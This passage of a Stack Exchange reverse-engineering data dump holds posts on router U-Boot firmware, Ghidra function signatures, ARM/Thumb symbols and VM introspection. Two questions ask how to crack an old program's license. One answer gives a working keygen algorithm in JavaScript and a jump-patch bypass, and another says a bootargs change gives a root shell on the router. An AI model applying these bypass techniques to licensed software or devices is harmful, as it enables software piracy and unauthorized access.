${fileaddr} ${fl_kernel1} ${filesize}&#xA;upr=tftp 80000000 rootfs; crc32 ${fileaddr} ${filesize}; sf erase ${fl_rootfs1} +${fl_rootfs1_sz}; sf write ${fileaddr} ${fl_rootfs1} ${filesize}&#xA;upv=tftp 80000000 vm.img;upvmimg ${fileaddr}&#xA;yu=loady 80000000; cp.b 80000000 81000000 ${filesize}; cmp.b 80000000 81000000 ${filesize}; sf erase 0 ${filesize}; sf write 80000000 0 ${filesize}&#xA;Environment size: 1442/8187 bytes`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#md 94200000&#xA;94200000: 27051956 2d28951a 5d070611 00269630    '..V-(..]....&amp;amp;.0&#xA;94200010: 80000000 80000000 2f808b2c 05050203    ......../..,....&#xA;94200020: 4c696e75 78204b65 726e656c 20496d61    Linux Kernel Ima&#xA;94200030: 67650000 00000000 00000000 00000000    ge..............&#xA;94200040: 5d000000 013c76b6 00000000 00000600    ]....&amp;lt;v.........&#xA;94200050: 0395c7e8 666e5ec6 cddf5cd3 7f860981    ....fn^...\.....&#xA;94200060: 66e4e47d 16454378 ba7286d7 10ac0e5f    f..}.ECx.r....._&#xA;94200070: f4548875 7fd45d23 8321e1d6 6fac3711    .T.u..]#.!..o.7.&#xA;94200080: a7076c68 3c27aa4a b8951c97 f585008d    ..lh&amp;lt;'.J........&#xA;94200090: ec4f63f7 f8f232aa 1ce8ee62 fc24a98f    .Oc...2....b.$..&#xA;942000a0: 333ae099 be5ca694 d30dce2b a68c092e    3:...\.....+....&#xA;942000b0: 12e311f5 86510704 357b1219 64c20547    .....Q..5{..d..G&#xA;942000c0: eaed521e e00f8734 f0708316 d5433715    ..R....4.p...C7.&#xA;942000d0: 285ceb11 2f3b455b 69650bef d9a0f557    (\../;E[ie.....W&#xA;942000e0: 1ae81e50 d473f125 bdfe34b3 e3cdab52    ...P.s.%..4....R&#xA;942000f0: 3db532b3 8ccfc480 559a1511 a90508ff    =.2.....U.......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#help&#xA;?               - alias for 'help'&#xA;base            - print or set address offset&#xA;bdinfo          - print Board Info structure&#xA;boot            - boot default, i.e., run 'bootcmd'&#xA;bootd           - boot default, i.e., run 'bootcmd'&#xA;bootm           - boot application image from memory&#xA;bootp           - boot image via network using BOOTP/TFTP protocol&#xA;btg             - bus traffic generator sub-system&#xA;cmp             - memory compare&#xA;coninfo         - print console devices and information&#xA;cp              - memory copy&#xA;crc32           - checksum calculation&#xA;echo            - echo args to console&#xA;editenv         - edit environment variable&#xA;env             - environment handling commands&#xA;go              - start application at address 'addr'&#xA;help            - print command description/usage&#xA;iminfo          - print header information for application image&#xA;imxtract        - extract a part of a multi-image&#xA;itest           - return true/false on integer compare&#xA;loadb           - load binary file over serial line (kermit mode)&#xA;loads           - load S-Record file over serial line&#xA;loady           - load binary file over serial line (ymodem mode)&#xA;loop            - infinite loop on address range&#xA;md              - memory display&#xA;mdram_test      - mdram_test   - do DRAM test.&#xA;mm              - memory modify (auto-incrementing address)&#xA;mtest           - simple RAM read/write test&#xA;mw              - memory write (fill)&#xA;nm              - memory modify (constant address)&#xA;printenv        - print environment variables&#xA;reset           - Perform RESET of the CPU&#xA;reset_all       - Perform whole chip RESET of the CPU&#xA;reset_sw        - Perform software RESET&#xA;run             - run commands in an environment variable&#xA;saveenv         - save environment variables to persistent storage&#xA;setenv          - set environment variables&#xA;sf              - SPI flash sub-system&#xA;sleep           - delay execution for some time&#xA;source          - run script from memory&#xA;tftpboot        - boot image via network using TFTP protocol&#xA;upvmimg         - update kernel and rootfs by vmimg format on luna platform&#xA;version         - print monitor, compiler and linker version&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30514" LastEditorUserId="-1" LastEditDate="2019-12-22T19:41:50.273" LastActivityDate="2020-12-31T10:07:47.667" Title="Analysis of BusyBox Shell router U-Boot firmware" Tags="|firmware|hardware|firmware-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22777" PostTypeId="1" CreationDate="2019-12-18T09:27:09.617" Score="0" ViewCount="182" Body="&lt;p&gt;I am monitoring a process using API monitor. I'm getting a lot of API calls unrelated to what I am interested in monitoring. I know about the Display Filter and have been using to filter API Names to what I am interested in but I am still getting a lot function calls with parameters that I am not interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there way to filter out/in function calls with certain parameters?&lt;/p&gt;&#xA;" OwnerUserId="29218" LastEditorUserId="245" LastEditDate="2019-12-18T11:36:10.577" LastActivityDate="2019-12-18T11:36:10.577" Title="How to use API Monitor to filter function parameters?" Tags="|debugging|process|api|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22778" PostTypeId="1" AcceptedAnswerId="22781" CreationDate="2019-12-19T02:31:40.873" Score="2" ViewCount="1682" Body="&lt;p&gt;I'm trying to bypass the license of a very old software that i was using many years ago, now, the company of that software is closed and i can't get a license &#xA;so, with a little bit of knowledge in assembly i changed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov byte ptr ds:[ecx+0x72], al&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov al,1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vHdd0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vHdd0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;then i got &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ob0gZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ob0gZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The software compare a hash with the hash of the key code you entered, if it's the same, it will work&#xA;&lt;a href=&quot;https://i.stack.imgur.com/e36Zl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e36Zl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;a random license request code generated everytime you run the .exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using GenerateRandomNumber&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KDHjV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KDHjV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;and hashed by using HkdfHashAlgorithm&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QBSUm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QBSUm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;here's the .exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mediafire.com/file/ujd576jm8eg7oay/SpoolManager.exe/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mediafire.com/file/ujd576jm8eg7oay/SpoolManager.exe/file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if that illigal to post it here, but I have no other solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any help&lt;/p&gt;&#xA;" OwnerUserId="30521" LastEditorUserId="30521" LastEditDate="2019-12-19T14:14:12.357" LastActivityDate="2019-12-19T15:11:19.753" Title="bypass license of very old software, Access violation (C0000005) x32dbg" Tags="|assembly|debugging|x64dbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22780" PostTypeId="1" AcceptedAnswerId="22790" CreationDate="2019-12-19T07:40:23.403" Score="2" ViewCount="1827" Body="&lt;p&gt;I have following code disassembled by ghidra:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUSH      EBX&#xA;PUSH      dword ptr [EBP + param_1]             wchar_t * _Format for swprintf&#xA;PUSH      u_%s\%s_0040eb88                      size_t _Count for swprintf&#xA;PUSH      dword ptr [EBP + param_3]             wchar_t * _String for swprintf&#xA;CALL      dword ptr [-&amp;gt;MSVCRT.DLL::swprintf]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 2nd parameter is unicode string %s\%s, but it should be size_t parameter, because &lt;a href=&quot;http://www.cplusplus.com/reference/cwchar/swprintf/&quot; rel=&quot;nofollow noreferrer&quot;&gt;swprintf&lt;/a&gt; function requires count parameter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is another code which uses the same function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LEA       EAX=&amp;gt;local_4dc,[0xfffffb28 + EBP]&#xA;PUSH      EAX                                        wchar_t * _Format for swprintf&#xA;LEA       EAX=&amp;gt;windowsDir,[0xfffffd30 + EBP]&#xA;PUSH      _Count_0040f40c                            size_t _Count for swprintf&#xA;PUSH      EAX                                        wchar_t * _String for swprintf&#xA;CALL      EDI=&amp;gt;MSVCRT.DLL::swprintf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, &lt;code&gt;_Count_0040f40c&lt;/code&gt; is unicode string %/Program Data detected as &lt;code&gt;_Count&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ghidra has correct function signature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int swprintf (wchar_t * _String, size_t _Count, wchar_t * _Format, ...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normal count parameter is always missing, what Ghidra detects doesn't refer to number type variable. It looks like if all functions were compiled without it. All those memory variables ghidra detects as count parameters are actually format parameters. If there was actual count parameter every time swprintf was called, everything would be looking good.&lt;/p&gt;&#xA;" OwnerUserId="27474" LastActivityDate="2019-12-20T14:21:26.463" Title="Function's signature with unmatching parameters" Tags="|functions|ghidra|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22781" PostTypeId="2" ParentId="22778" CreationDate="2019-12-19T11:40:36.687" Score="4" Body="&lt;p&gt;&lt;code&gt;mov al, 1&lt;/code&gt;, the instruction you want to use becomes &lt;code&gt;b0 01&lt;/code&gt; (&lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;you can check here&lt;/a&gt;), assuming x86-32. That is, &lt;strong&gt;2 Bytes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instruction you are patching (&lt;code&gt;mov byte ptr ds:[ecx+0x72], al&lt;/code&gt;) is &lt;code&gt;88 41 72&lt;/code&gt; and so takes up &lt;strong&gt;3 Bytes&lt;/strong&gt;. See the problem already?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means you are only patching the first two bytes of the instruction and need to pad it with a single-byte NOP (no operation, i.e. &lt;code&gt;90&lt;/code&gt;) in order for all subsequent instructions to be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise the processor will start decoding at &lt;code&gt;&amp;lt;patched-instruction&amp;gt;+2&lt;/code&gt; and assume that it is correct. Which it probably isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;Not sure what all those screenshots are supposed to be about. They seem to have no relation to the instructions you said you were patching ...&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now that you have posted the screenshot of the patch site, we can even potentially tell you what the CPU was trying to execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The patch site before your patch was directly at the return from a function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;88 41 72                mov    BYTE PTR [ecx+0x72],al&#xA;c2 04 00                ret    0x4&#xA;; ------ end of function&#xA;90                      nop&#xA;90                      nop&#xA;90                      nop&#xA;90                      nop&#xA;90                      nop&#xA;90                      nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After your patch it would have looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b0 01                   mov    al,0x1&#xA;72 c2                   jb     0xffffffc6&#xA;04 00                   add    al,0x0&#xA;; ------ end of function&#xA;90                      nop&#xA;90                      nop&#xA;90                      nop&#xA;90                      nop&#xA;90                      nop&#xA;90                      nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still 12 Bytes overall (6 inside the function you were patching), but a completely different meaning. We can guess that either the jump instruction was taken and led into a location which gave the access violation, or that the condition (of &lt;code&gt;jb&lt;/code&gt;) didn't evaluate to true and the CPU executed the &lt;code&gt;add&lt;/code&gt; followed by 6x &lt;code&gt;nop&lt;/code&gt; and then ended up in a completely different function (at least this looks like a function prologue) but with the stack still in place from the call to the previous function and so on ...&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2019-12-19T15:11:19.753" LastActivityDate="2019-12-19T15:11:19.753" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22783" PostTypeId="2" ParentId="22775" CreationDate="2019-12-19T16:54:31.710" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://practicalbinaryanalysis.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Practical Binary Analysis by Dennis Andriesse&lt;/a&gt; is great, the examples are mostly done on Linux but the concept is still the same for Windows.&lt;/p&gt;&#xA;" OwnerUserId="30479" LastActivityDate="2019-12-19T16:54:31.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22784" PostTypeId="1" AcceptedAnswerId="22786" CreationDate="2019-12-19T17:13:32.373" Score="2" ViewCount="784" Body="&lt;p&gt;I'm trying to bypass (crack) a very old software that require license in order to unlock all the features&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i was digging in the lines with a little bit of knowledge in assembly&#xA;and i found the line where it compare the hash of the request code with the hash of the license i entered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the line ( not %100 sure )&#xA;&lt;a href=&quot;https://i.stack.imgur.com/At4Dm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/At4Dm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;arrow1 where the random request code generated and the entered license saved to a param (not sure)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;arrow2 where the compare happen ( same not sure)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The software compare a hash with the hash of the key code you entered, if it's the same, it will work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a random license request code generated everytime you run the .exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using GenerateRandomNumber&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Juvh2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Juvh2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and hashed by using HkdfHashAlgorithm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/U78SZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U78SZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my question is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i change &lt;code&gt;je 0x7C1AEF1F&lt;/code&gt; to &lt;code&gt;jne 0x7C1AEF1F&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gIYl4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gIYl4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the software stopped working and when i execute it i got the command prompt for 1second and disappear&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cEoRd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cEoRd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so what i need to change in order to compare the hash of the request code with the same hash or to say if not equal so activated...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any help&lt;/p&gt;&#xA;" OwnerUserId="30521" LastEditorUserId="30521" LastEditDate="2019-12-20T05:31:39.477" LastActivityDate="2019-12-21T01:41:18.617" Title="change compare function in assembly and .exe stopped working x64dbg" Tags="|assembly|debugging|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22785" PostTypeId="1" CreationDate="2019-12-19T23:21:33.087" Score="1" ViewCount="142" Body="&lt;p&gt;How did Kaspersky replicate UAC overlay on Windows XP? Here is the screenshot to what I relate to, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dcq1E.png&quot; alt=&quot;Vbox screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon encountering the overlay,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you click outside the &quot;attention&quot; Window, system will beep and flicker the &quot;Attention&quot; window&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All shortcuts, such as &quot;Win+R&quot;, &quot;Ctrl+Shift+Esc&quot; or &quot;Ctrl+Q&quot; are disabled&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(seemingly) the system won't process on doing anything until you &quot;Continue&quot; or &quot;Cancel&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is how to replicate the behaviour,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Get a Windows XP VM&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download Kaspersky suite compatible with XP. I worked on the following version, &lt;a href=&quot;https://web.archive.org/web/20140530155806/http://downloads-am.kasperskyamericas.com/files/trial/en/kis14.0.0.4651abcdefEN_5874.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;download&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install the app onto XP VM.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;[Possibly optional] After installation, request a trial licence&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to Settings (bottom-right corner) -&gt; General (first tab) -&gt; Protection - Untick . You should get the same Windows as in the screenshot&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30210" LastActivityDate="2019-12-20T00:49:27.657" Title="How did Kaspersky replicate UAC overlay on Windows XP" Tags="|windows|" AnswerCount="1" CommentCount="2" ClosedDate="2019-12-24T20:29:17.017" ContentLicense="CC BY-SA 4.0" />
  <row Id="22786" PostTypeId="2" ParentId="22784" CreationDate="2019-12-20T00:47:10.653" Score="2" Body="&lt;p&gt;&lt;strong&gt;Algorithm&lt;/strong&gt;: ((Licence request code) + 0x26946948) ^ (your serial number of &lt;code&gt;C:&lt;/code&gt; volume or &lt;code&gt;0xffffffff&lt;/code&gt; if failed).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;This &lt;a href=&quot;https://play.golang.org/p/Wi2maUZ7ti_N&quot; rel=&quot;nofollow noreferrer&quot;&gt;keygen&lt;/a&gt; I'm written in golang.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or javascript keygen&#xA;&lt;code&gt;&#xA;function keygen(code, serial) {&#xA; code = parseInt(/([0-9-]{12})/.exec(code)[0].replace(/-/g, ''))&#xA; return ((code + 0x26946948) ^ parseInt(serial.replace(/-/g, ''), 16)) &amp;gt;&amp;gt;&amp;gt; 0&#xA;}&#xA;// example&#xA;// '9950-7444-3132-b9' is Licence request code&#xA;// 'A639-6EDE'         is Volume Serial Number of C:&#xA;keygen('9950-7444-3132-b9', 'A639-6EDE')&#xA;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KaYOm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KaYOm.png&quot; alt=&quot;serial&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Or modify assembly at &lt;strong&gt;file.exe+178A&lt;/strong&gt; &lt;code&gt;je file.exe+17B4&lt;/code&gt; -&gt; &lt;code&gt;jne file.exe+17B4&lt;/code&gt; to bypass.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29081" LastEditorUserId="30521" LastEditDate="2019-12-21T01:41:18.617" LastActivityDate="2019-12-21T01:41:18.617" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="22787" PostTypeId="2" ParentId="22785" CreationDate="2019-12-20T00:49:27.657" Score="2" Body="&lt;p&gt;Sounds like you want to reproduce a system modal dialog box on a more modern Windows OS. It looks like someone took the steps to reproduce this behavior as closely as possible. Not sure about keyboard accelerators, etc though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developex.com/blog/system-modal-back/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developex.com/blog/system-modal-back/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30532" LastActivityDate="2019-12-20T00:49:27.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22788" PostTypeId="2" ParentId="6080" CreationDate="2019-12-20T10:51:00.007" Score="0" Body="&lt;p&gt;When compiling C/C++ code, you can also detect the ARM/thumb status for a function by looking at the symbol table. The lowest bit of the address is set to 1 for Thumb and 0 for ARM instructions. To see this, you can use &lt;code&gt;readelf --symWhen using&lt;/code&gt;objdump -t&lt;code&gt;and&lt;/code&gt;readelf`, though.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf --syms foo.elf |grep strlen$&#xA;  4460: 08000195    16 FUNC    GLOBAL DEFAULT    2 strlen&#xA;$ objdump -t foo.elf |grep strlen$&#xA;  08000194 g     F .text  00000010 strlen&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the actual address is 8000194 (32-bit aligned), but the symbol table entry (as shown by readelf) says 9000195 (with the LSB set to indicate thumb).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach will only tell you the ARM/thumb status at the start of a function, to see any transitions inside a function you will still need to look at the &lt;code&gt;$t&lt;/code&gt; and &lt;code&gt;$a&lt;/code&gt; symbols as documented in other answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The meaning of this LSB is defined in the &lt;a href=&quot;http://infocenter.arm.com/help/topic/com.arm.doc.ihi0044e/IHI0044E_aaelf.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ARM ELF ABI&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;5.5.3 Symbol Values&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In addition to the normal rules for symbol values the following rules shall also apply to symbols of type STT_FUNC:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;If the symbol addresses an Arm instruction, its value is the address of the instruction (in a relocatable object, the offset of the instruction from the start of the section containing it).&lt;/li&gt;&#xA;  &lt;li&gt;If the symbol addresses a Thumb instruction, its value is the address of the instruction with bit zero set (in a relocatable object, the section offset with bit zero set).&lt;/li&gt;&#xA;  &lt;li&gt;For the purposes of relocation the value used shall be the address of the instruction (st_value &amp;amp; ~1).&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Note: This allows a linker to distinguish Arm and Thumb code symbols without having to refer to the map. An Arm symbol will always have an even value, while a Thumb symbol will always have an odd value. However, a linker should strip the discriminating bit from the value before using it for relocation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="30535" LastActivityDate="2019-12-20T10:51:00.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22789" PostTypeId="1" CreationDate="2019-12-20T13:10:55.230" Score="1" ViewCount="194" Body="&lt;p&gt;I am trying to make some deep-level windows debuggig/tracing, utilizing virtualization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that if a Windows runs in a virtual machine, theoretically I have total power over it - I could change its kernel/userspace data structures, trace it, modify it and so on. &lt;em&gt;Without the need of its cooperativity&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My favorite virtualization software is qemu, but anything is okay if I can do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would need some software support for the task. I need something, what can interact with the virtual machine, and most ideally, some support to track its memory content, find the processes and trace, what are they doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anything exist for the task?&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2019-12-20T14:36:18.463" Title="How to track/debug/manipulate Windows processes in a VM?" Tags="|windows|debugging|virtual-machines|tracing|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22790" PostTypeId="2" ParentId="22780" CreationDate="2019-12-20T14:21:26.463" Score="1" Body="&lt;p&gt;It seems the  picked prototype is incorrect. The original version of &lt;code&gt;swprintf&lt;/code&gt; does not have the count parameter.  From the VS 9.0 (2008) CRT sources:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#ifndef _COUNT_&#xA;&#xA;int __cdecl _swprintf (&#xA;        wchar_t *string,&#xA;        const wchar_t *format,&#xA;        ...&#xA;        )&#xA;#else  /* _COUNT_ */&#xA;&#xA;#ifndef _SWPRINTFS_ERROR_RETURN_FIX&#xA;/* Here we implement _snwprintf without the&#xA;return value bugfix */&#xA;&#xA;int __cdecl _snwprintf (&#xA;        wchar_t *string,&#xA;        size_t count,&#xA;        const wchar_t *format,&#xA;        ...&#xA;        )&#xA;#else  /* _SWPRINTFS_ERROR_RETURN_FIX */&#xA;int __cdecl _swprintf_c (&#xA;        wchar_t *string,&#xA;        size_t count,&#xA;        const wchar_t *format,&#xA;        ...&#xA;        )&#xA;#endif  /* _SWPRINTFS_ERROR_RETURN_FIX */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-20T14:21:26.463" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22791" PostTypeId="2" ParentId="22789" CreationDate="2019-12-20T14:36:18.463" Score="1" Body="&lt;p&gt;This is called &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_machine_introspection&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtual Machine Introspection&lt;/a&gt; (VMI) and, while definitely possible, requires you to implement parsing of the internal OS structures to isolate individual processes, modules etc instead of relying on the built-in OS support (such as used by WinDbg kernel debugger). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check for an example of how it could be done using IDA over VMWare's GDB protocol (disclaimer: post written by me): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hexblog.com/?p=94&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hexblog.com/?p=94&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any active projects supporting it out-of-the-box but you can probably start with something like Volatility or &lt;a href=&quot;https://github.com/ufrisk/MemProcFS&quot; rel=&quot;nofollow noreferrer&quot;&gt;MemProcFS&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-20T14:36:18.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22792" PostTypeId="2" ParentId="22776" CreationDate="2019-12-20T14:42:26.730" Score="1" Body="&lt;p&gt;adding &lt;code&gt;single&lt;/code&gt; to bootargs should drop you into a root shell, e.g. try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setenv bootargs ${bootargs_base} single ${mtdparts0}&#xA;bootm ${img0_kernel}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="245" LastEditDate="2019-12-23T19:28:41.767" LastActivityDate="2019-12-23T19:28:41.767" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
